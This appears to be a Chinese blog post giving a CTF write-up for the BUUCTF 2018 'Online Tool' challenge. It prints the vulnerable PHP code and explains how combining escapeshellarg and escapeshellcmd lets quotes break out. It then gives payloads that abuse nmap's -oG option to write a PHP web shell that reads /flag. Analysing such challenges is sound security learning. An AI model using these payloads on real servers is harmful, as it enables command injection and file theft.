[BUUCTF 2018]Online Tool

题目题解

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];//GET方法传递参数值给变量host
        $host = escapeshellarg($host);//确保用户值传递一个参数给命令;用户不能指定更多的参数;用户不能执行不同的命令
    $host = escapeshellcmd($host);//确保用户只执行一个命令;用户可以指定不限数量的参数;用户不能执行不同的命令
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//使用system系统命令执行nmap
}
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

在host变量里面我们不能使用 ; & | 等符号来执行多条命令,题目提示RCE

nmap参数-oG可以实现将命令和结果写到文件

构造?host=' <?php echo phpinfo();?> -oG test.php '

?host=' <?php echo `cat /flag`;?> -oG test.php '

得到flag

知识点

escapeshellarg()+escapeshellcmd()

https://paper.seebug.org/164/

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

Nmap 所有参数

https://blog.csdn.net/qq_26090065/article/details/80285088

 

posted @ 2021-08-08 22:55  凇岳  阅读(74)  评论(0)    收藏  举报